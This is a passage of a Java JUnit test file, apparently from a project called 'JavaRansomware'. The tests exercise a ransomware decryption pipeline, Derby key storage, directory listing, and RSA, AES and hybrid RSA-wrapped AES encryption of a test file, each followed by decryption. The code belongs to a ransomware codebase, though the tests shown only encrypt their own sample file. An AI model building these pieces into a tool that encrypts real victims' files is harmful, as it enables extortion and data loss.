Pipeline<PipelineData, PipelineData> decrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())\n                .addHandler(new DecryptKeyHandler())\n                .addHandler(new RansomwareDecryptHandler());\n        var decrypt_output = decrypt_filters.execute(pipelineData);\n        System.out.println(\"Pipeline output: \" + decrypt_output);\n    }\n\n    @Test\n    @Order(2)\n    public void DatabaseTest() {\n        try {\n            // Check if a string already exists\n            String existingString = DerbyStorage.getInstance().retrieveString();\n\n            if (existingString != null) {\n                System.out.println(\"Retrieved existing string: \" + existingString);\n            } else {\n                // Store a new string\n                DerbyStorage.getInstance().storeString(\"Hello, Derby!\");\n\n                // Retrieve and display the stored string\n                String retrievedString = DerbyStorage.getInstance().retrieveString();\n                System.out.println(\"Retrieved newly stored string: \" + retrievedString);\n            }\n        } catch (SQLException e) {\n            e.printStackTrace();\n        } finally {\n            //DerbyStorage.getInstance().close();\n        }\n    }\n\n    @Test\n    @Order(3)\n    public void PrintAllPaths() {\n        String logFilePath = \"path/to/system.log\"; // Replace with the actual log file path\n        String searchString = \"encryptedKeyDB\"; // Replace with the string you want to search for\n        Path rootPath = Paths.get(\"C:\\\\Users\\\\User\\\\Documents\\\\GitHub\\\\JavaRansomware\\\\\");\n        Collection<File> files = FileUtils.listFilesAndDirs(\n                rootPath.toFile(),\n                TrueFileFilter.INSTANCE,\n                TrueFileFilter.INSTANCE\n        );\n        files.parallelStream().forEach(file -> {\n            if (file.toPath().toAbsolutePath().toString().contains(searchString)) {\n                return;\n            }\n            if (file.isDirectory()) {\n                System.out.println(\"Directory: \" + file);\n            } else {\n                System.out.println(\"File: \" + file.toPath().toAbsolutePath());\n            }\n        });\n\n        try (Stream<String> stream = Files.lines(Paths.get(logFilePath))) {\n            boolean found = stream.anyMatch(line -> line.contains(searchString));\n            assertFalse(found);\n        } catch (IOException e) {\n            //e.printStackTrace();\n        }\n    }\n\n    @Test\n    @Order(4)\n    public void RSAEncryption() throws GeneralSecurityException {\n        String message = \"Hello, RSA!\";\n        RSAGenKeyReader.StringKeyPair keyPair = RSAGenKeyReader.generateKeyPair();\n        PublicKey pub = RSAGenKeyReader.loadPublicKey(keyPair.publicKey());\n        PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(keyPair.privateKey());\n        String encrypted = RSACipher.getInstance().encrypt(message.getBytes(StandardCharsets.UTF_8), pub);\n        String res = RSACipher.getInstance().decrypt(encrypted, privateKey);\n        assertEquals(message, res);\n    }\n\n    @Test\n    @Order(5)\n    public void AESEncryption() throws Exception {\n        Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource(\"/test.txt\")).toURI());\n        SecretKey key = AESCipher.generateAndSaveKey(\"secret.key\");\n        AESCipher.encryptFile(testPath.toFile().getPath(), key);\n        AESCipher.decryptFile(testPath.toFile().getPath(), key);\n    }\n\n    @Test\n    @Order(6)\n    public void RSAWithAESEncryption() throws Exception {\n        Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource(\"/test.txt\")).toURI());\n        String key = AESCipher.generateAndNotSaveKeyAsString();\n        RSAGenKeyReader.StringKeyPair keyPair = RSAGenKeyReader.generateKeyPair();\n        PublicKey pub = RSAGenKeyReader.loadPublicKey(keyPair.publicKey());\n        PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(keyPair.privateKey());\n        String encrypted = RSACipher.getInstance().encrypt(key.getBytes(StandardCharsets.UTF_8), pub);\n        String encodedkey = RSACipher.getInstance().decrypt(encrypted, privateKey);\n        SecretKey copykey = AESCipher.loadKey(encodedkey);\n        AESCipher.encryptFile(testPath.toFile().getPath(), copykey);\n        AESCipher.decryptFile(testPath.toFile().getPath(), copykey);\n    }\n\n    @AfterAll\n    public static void tearDown() {\n        DerbyStorage.getInstance().close();\n    }\n}\n"
  }
]